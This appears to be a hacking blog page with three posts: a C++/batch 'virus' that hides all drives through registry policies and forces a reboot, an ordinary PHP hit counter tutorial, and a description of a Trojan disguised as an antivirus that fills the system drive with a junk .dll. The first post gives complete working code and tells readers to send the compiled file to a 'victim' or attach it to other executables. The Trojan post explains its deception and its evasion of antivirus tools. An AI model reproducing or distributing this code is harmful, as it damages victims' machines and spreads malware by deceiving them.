Latest Posts

Showing posts with label C SOURCE CODES. Show all posts
Showing posts with label C SOURCE CODES. Show all posts

C++ ,Batch Virus code to disable All Hard disk


C++ ,Batch Virus code to disable All Hard disk


Hi friends,here i give you give the C++ virus code.  Actually Batch code is converted to C++ virus code.  If you like you can use it as batch code also.



C++ Virus Code :

#include < windows.h >
#include < fstream.h >
#include < iostream.h >
#include < string.h >
#include < conio.h >
int main()
{
ofstream write ( "C:\\WINDOWS\\system32\\HackingStar.bat" ); /*opening or creating new file with .bat extension*/

write << "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n"; write << "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n"; write<<"shutdown -r -c \"Sorry Your System is hacked by us!\" -f"<<"\n"; write.close(); //close file ShellExecute(NULL,"open","C:\\WINDOWS\\system32\\HackingStar.bat ",NULL,NULL,SW_SHOWNORMAL); return 0; }


Copy the above code and paste in notepad
Save the file with .cpp extension
Compile and create .exe file in cpp
Note:
Don't run this c++ program ,it will attack your system itself. 
Copy the created .exe file and send it to your victim. You can also attach it with any other
exe files.


Batch Virus Code Creation:

REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n

REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n

shutdown -r -c \"Sorry Your System is hacked by us!\" -f
I think this code will simple for non c++ programmers. It is easy to create the batch file also.
Copy the above code to notepad.
Save it with .bat extension (for ex: nodrivevirus.bat)
Send the file to your victim
1 comment Read More

Creating A Simple Hit Counter In PHP



Introduction:

Welcome to part 2 of the Practical Programming in PHP series. Today, I will show you how you can use php's file handling functions to create a web site hit counter. The script should be compatible with PHP 3 and 4. I will be running the script on a server which has a variant of Unix installed (most servers do).

Background:

The script that we will create will—when called—open a file, read the value of the file, increment the value by one, and then write that value to the file. We're going to put the actual code inside a function so that way you can call the script on your page with only one line of code.

Down To Work:

In order to open a file in php, we need to call the function fopen(). This will open the file, if it exists, and return a file pointer. Don't worry too much on what a file pointer is, think of it as an alias for the file. Instead of using the file name, you pass a file pointer to functions. Here is the beginning of our code:
<?php

function count_hit()

{

$file_pointer= fopen("hits.txt", "r+");

First, we declared a function by using the keyword function followed by the name of our function. Next, we used fopen() passing the name of a file in the same directory as the script where the hits will be stored as the first parameter; we then passed r+ as the second parameter, this tells the server that we want to open the hits.txt file for reading and writing. You can also pass any one of the following:
rOpen the file for reading, place the file pointer at the beginning of the file.
wOpen the file for writing, place the file pointer at the beginning of the file, create the file if it doesn't exist, and set the file to zero length.
w+Open the file for reading and writing, place the file pointer at the beginning of the file, create the file if it doesn't exist, and set the file to zero length.
aOpen for writing only; place the file pointer at the end of the file. If the file does not exist, attempt to create it.
a+Open for reading and writing; place the file pointer at the end of the file. If the file does not exist, attempt to create it.
bOpen the file in binary mode, if not needed, this will be ignored.
fopen() can take one more parameter: 1. If you pass the third parameter as 1, the file you passed the name of in the first parameter will be searched for in the include path. The include path is specified when php if first installed on the server, most of the time you won't have control over it. We store the result of fopen() in a variable named $file_pointer. If the file does not exist, fopen() will return false; we need to test for that.
if ($file_pointer == false)

{

return "Error: could not open the file! It may not exist!";

exit;

}

I used a return instead of an echo because we are in a function, and it's not always a good idea to use echo.
Now that the file is open, we need to read from it, to do that we use the fread() function.
$hits= fread($file_pointer, filesize("hits.txt"));

For fread() we pass the file pointer along with the size of the file. To get the size of the file we use the filesize() function. Now the contents of the file are stored in a variable with the name $hits. This next part is optional, but you should do it because you never really know what kind of extra junk might also get read into the variable. We will use the trim() function to strip any whitespace from the beginning and ending of the string.
$hits= trim($hits);

See that's not too bad, and well worth the effort. Now that we have read the contents of the file into a variable and cleaned up the variable, we will increment it by 1, and write it back into the file. Before we write to the file, we need to go back to the begining of the file so we can write over the current count. We do this by using fseek(), thanks to Mateusz Pabis for pointing that out.
$hits++;

fseek($file_pointer, 0);

$result= fwrite($file_pointer, $hits);



if ($result == false)

{

return "Error: could not write to the file!";

exit;

}

else {

return $hits;

}

We use the increment operator (++) to add one to the hit count, then we use fwrite to write to the file. We then pass the file pointer and the hit count to fwrite(), then there is some error checking, you don't have to include it, but it is always a good idea. Lastly, we return the value of $hits, which holds the hit count, so that you can display the hits on a webpage by doing:
<?php echo count_hit( ); ?>

Only one more thing left to do: close the file. To do that we use fclose() and pass it the file pointer, oh and can't forget the error checking =)
$close= fclose($file_pointer);



if ($close == false)

{

return "Error: could not close the file!";

exit;

}

And that's all, we're done! Here is the complete script:
<?php

function count_hit()

{

$file_pointer= fopen("hits.txt", "r+");



if ($file_pointer == false)

{

return "Error: could not open the file! It may not exist!";

exit;

}



$hits= fread($file_pointer, filesize("hits.txt"));

$hits= trim($hits);

$hits++;

fseek($file_pointer, 0);

$result= fwrite($file_pointer, $hits);



if ($result == false)

{

return "Error: could not write to the file!";

exit;

}

else {

return $hits;

}



$close= fclose($file_pointer);



if ($close == false)

{

echo "Error: could not close the file!";

exit;

}

}

?>

Conclusion:

Well that wraps up part 2 of the Practical Programming series. I hope you learned how to manipulate files in php. If you found any errors or have any comments please e-mail me (fareedanish@gmail.com), kindly direct questions to the message board.

Leave a Comment Read More

How to Make a Trojan Horse


How to Make a Trojan Horse


How to Make a Trojan
Most of you may be curious to know about how to make a Trojan or Virus on your own. Here is an answer for your curiosity. In this post I’ll show you how to make a simple Trojan on your own using C programming language. This Trojan when executed will eat up the hard disk space on the root drive (The drive on which Windows is installed, usually C: Drive) of the computer on which it is run. Also this Trojan works pretty quickly and is capable of eating up approximately 1 GB of hard disk space for every minute it is run. So, I’ll call this as Space Eater Trojan. Since this Trojan is written using a high level programming language it is often undetected by antivirus. The source code for this Trojan is available for download at the end of this post. Let’s see how this Trojan works…
Before I move to explain the features of this Trojan you need to know what exactly is a Trojan horse and how it works. As most of us think a Trojan or a Trojan horse is not a virus. In simple words a Trojan horse is a program that appears to perform a desirable function but in fact performs undisclosed malicious functions that allow unauthorized access to the host machine or create a damage to the computer.
 
Now lets move to the working of our Trojan
The Trojan horse which I have made appears itself as an antivirus program that scans the computer and removes the threats. But in reality it does nothing but occupy the hard disk space on the root drive by just filling it up with a huge junk file. The rate at which it fills up the hard disk space it too high. As a result the the disk gets filled up to 100% with in minutes of running this Trojan. Once the disk space is full, the Trojan reports that the scan is complete. The victim will not be able to clean up the hard disk space using any cleanup program. This is because the Trojan intelligently creates a huge file in theWindows\System32 folder with the .dll extension. Since the junk file has the .dll extention it is often ignored by disk cleanup softwares. So for the victim, there is now way to recover the hard disk space unless reformatting his drive.
 
The algorithm of the Trojan is as follows
1. Search for the root drive
2. Navigate to WindowsSystem32 on the root drive
3. Create the file named “spceshot.dll
4. Start dumping the junk data onto the above file and keep increasing it’s size until the drive is full
5. Once the drive is full, stop the process.
You can download the Trojan source code HERE. Please note that I have not included the executabe for security reasons. You need to compile it to obtain the executable.
 

How to compile, test and remove the damage?

 
Compilation:
For step-by-step compilation guide, refer my post How to compile C Programs.
Testing:
To test the Trojan,  just run the SpaceEater.exe file on your computer. It’ll generate a warning message at the beginning. Once you accept it, the Trojan runs and eats up hard disk space.
NOTE: To remove the warning message you’ve to edit the source code and then re-compile it.
 
How to remove the Damage and free up the space?
To remove the damage and free up the space, just type the following in the “run” dialog box.
%systemroot%\system32
Now search for the file “spceshot.dll“. Just delete it and you’re done. No need to re-format the hard disk.
Please pass your comments and tell me your opinion. I am just waiting for your comments…
Leave a Comment Read More